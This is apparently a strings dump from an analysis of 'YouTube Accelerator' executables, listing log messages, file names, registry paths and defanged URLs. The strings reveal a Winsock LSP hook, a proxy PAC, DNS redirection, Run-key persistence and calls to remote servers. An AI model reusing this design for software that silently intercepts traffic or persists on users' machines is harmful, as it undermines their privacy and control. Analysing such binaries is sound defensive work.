[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s
ytalsp.dll
[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s
[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d
[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s
unwise.exe
[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d
[CSA_GUIApp::GetTempDir] Folder: %s
[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s
%s %s
[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s
YoutubeAcceleratorService.exe
D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s
[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)
[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s
Res\VARes_%d\
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x
[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x
[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s
VARes_%d\
[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d
ResOld.dll
ResTemp.dll
[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x
[CSA_GUIApp::RunFinishHtml] GotoURL status is %d
[CSA_GUIApp::RunFinishHtml] Finish URL is : %s
hXXp://@BRAND_ID@.@[email protected]/finishinstall?
hXXp://rep.@[email protected]/app/ping.ashx
engine.dll
[CSA_GUIApp::FormatURL] URL: %s
&TrialDaysLeft=%d
?V=%s&pr=%d&Beta=%d&Emode=%d
[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL
[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d
[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d
VA???.lng
[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!
[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d
%s&OEM=%s
hXXp://@BRAND_ID@.@[email protected]/support/help
VIDEO_ACCELERATOR.MHT
[CSA_GUIDlg::ShowMenora] ___Error No lending url
[CSA_GUIDlg::OnMenoraOpen] ___Error url empty
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d
[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...
[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s
-b -d %s
lspinst2.exe
lspinst.exe
CSABaseWebWindow::OnBeginDrag
CSABaseWebWindow::OnStopDrag
ECSABaseWebWindow::Navigate : url = %s
CSABaseWebWindow::OnNavigateError : url = %s
CSABaseWebWindow::OnNavigateComplete : url = %s
CSABaseWebWindow::OnDocumentComplete : url = %s
CSANotifierWebWindow::SetMetaData GOT 'height'
CSANotifierWebWindow::SetMetaData GOT 'width'
[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"
[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"
[CSANotifierWebWindow::ReplaceLNGTags] length %d
[CSANotifierWebWindow::ReplaceLNGTags]
[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed
ItweetMessage.mht
SilentTestFailed.mht
SilentTestSucceeded.mht
ITUNESMESSAGE.MHT
hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp
OldDriver.mht
Activation_Expired.mht
noupdates.mht
exiting.mht
va_on.mht
va_off.mht
dl_update.mht
update.mht
HD_DISABLED.MHT
ACCELERATION_NOT_SUPPORTED.MHT
now_accelerating.mht
ACCELERATION_NOT_SUPPORTED_CHECKBOX
ACCELERATION_NOT_SUPPORTED_BUTTON_OK
%d days left.
%d Days left
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration
[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration
WININET.DLL
Gkernel32.dll
d/d/%d d:d:d::d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
[ACCELINFO::OnDeserialize] ___Error get URL
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Hcomctl32.dll
Hcomdlg32.dll
Hshell32.dll
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
J.INI
J.com
DLG_%u
PID%u
les (x86)\YouTube Accelerator\YouTubeAccelerator.exe
Important:
Port:
Contact Our Support
See supported video sites
Join Today!
2.0.5.3
Watch YouTube and other web videos without pauses.
Twitter login
Password:
Enter your username and password for Twitter:
<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>
Communications test failed.JWe believe it might be a Security / Firewall issue.
For additional information, contact our support at:
hXXp://@[email protected]/support/
hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.
hXXp://@[email protected]/support/
Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address
(e.g. sample.proxy.com, 192.168.1.100)
@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium
lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...
@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:
@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.
@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.
HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.
Supported Video Sites
Every web video just got better
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
3.3.8.9

jsdrv.exe_3592:




.text
`.rdata
@.data
.rsrc
@.reloc
HTTPt
t.Ph|;
FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6
QSSSSh`
u.PShXw
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X
[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)
[CLoader::AddRef] RefCount: %d
[CLoader::Release] RefCount: %d
[CLoader::UpdateVersionStatus] Status: %d (%d)
[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d
[CLoader::GetMode] Engine Mode = %d
- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d
spCmd
[CLoader::DoStop] ___Error UnLoadMonitor - %X
[CLoader::DoStop] ___Error UnLoadRedirector - %X
[CLoader::DoStop] ___Error UnLoadProxy - %X
[CLoader::Load] Added %d m_nLSPConfChangedEvent
[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration
[CLoader::IsToLoadProxyModule] FALSE - Partner: %s
[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s
Monitor.dll
%d.%d.%d.%d
[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d
[CLoader::RunLspInstaller] ___Error CreateProcess: %d
[CLoader::RunLspInstaller] CreateProcess: %s
\\.\pipe\VAPIPESERVERENG
[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d
CommTest.exe
[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times
[CLoader::CheckOurLSPStatus] Done.
[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d
[CLoader::CheckOurLSPStatus] CreateProcess: %s
[CLoader::CheckOurLSPStatus]
EmptyKey
[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY
3.3.9.3
[CLoader::InstallLsp] Done - %s
[CLoader::InstallLsp] Running second LSP installation method - %s
2.exe
[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s
[CLoader::UnInstallLSP] Done - %s
Name: %s
Path: %s
Version: %s
%s_%d_%s.log
[CLoader::LoadModules] Already loaded, Status = %d, return...
[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d
[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d
[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d
[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
jsdrv.exe
config.xml
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
\\.\pipe\VAPIPESERVERUI
[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept
[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString
[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect
[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind
[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall
[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket
[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect
[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW
[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents
[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect
[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult
[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername
[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname
[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt
[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName
[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl
[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf
[CBaseProviderProc::WSPJoinLeaf]
[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen
[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv
[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect
[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom
[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select
[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend
[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect
[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo
[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt
[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown
[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress
[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket
[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d
[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d
[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup
[CRedirectController::SetPassThrough]
[CRedirectController::GetTestingMode] %d
[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration
[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration
IsOurPacFileExist: %s
[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
vaproxy.pac
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CDnsController::SetRedirectFilter] Domain: %s
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
JsDriverService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
[CMutexLock::Open] ___Error %d, OpenMutex: %s
[CMutexLock::Open] ___Error %d, CreateMutex: %s
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
[CAcceleratorEvents::ReportStatistics]
[CAcceleratorEvents::OnReportNoAccelerationReason] %s
[CSaveWatchUrl::Work] Saving Info...
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CLspController::SetVersionStatus] VesrionStatus = %d
[CLspController::GetVersionStatus] VesrionStatus = %d
[CLspController::UpdateVersionStatus] Status: %d (%d)
[CLspController::UpdateVersionStatus] New Status: %d
[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] returns FALSE - status passthrough
[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists
[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u
[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d
[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d
[CLspController::IsPartner] partner = %d
[CLspController::UpdateXMLRulesVersion] Version: %s (%s)
[CLspController::UpdateXMLRulesVersion] New Version: %s
[CLspController::IsIgnored] ---@@@ Port: %u @@@---
Downloader.exe
RecordingManager.exe
WebKit2WebProcess.exe
firefox.exe
iTunes.exe
[CLspController::DoLoad] Hook status %d
VVV.youtube.com
[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d
PassThroughState
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL
[CLspController::SetPassThrough]
[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s
[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::IsDomainExistInRules] Found - Template: %s
[CLspController::IsDomainExistInRules] Domain: %s
[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u
[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
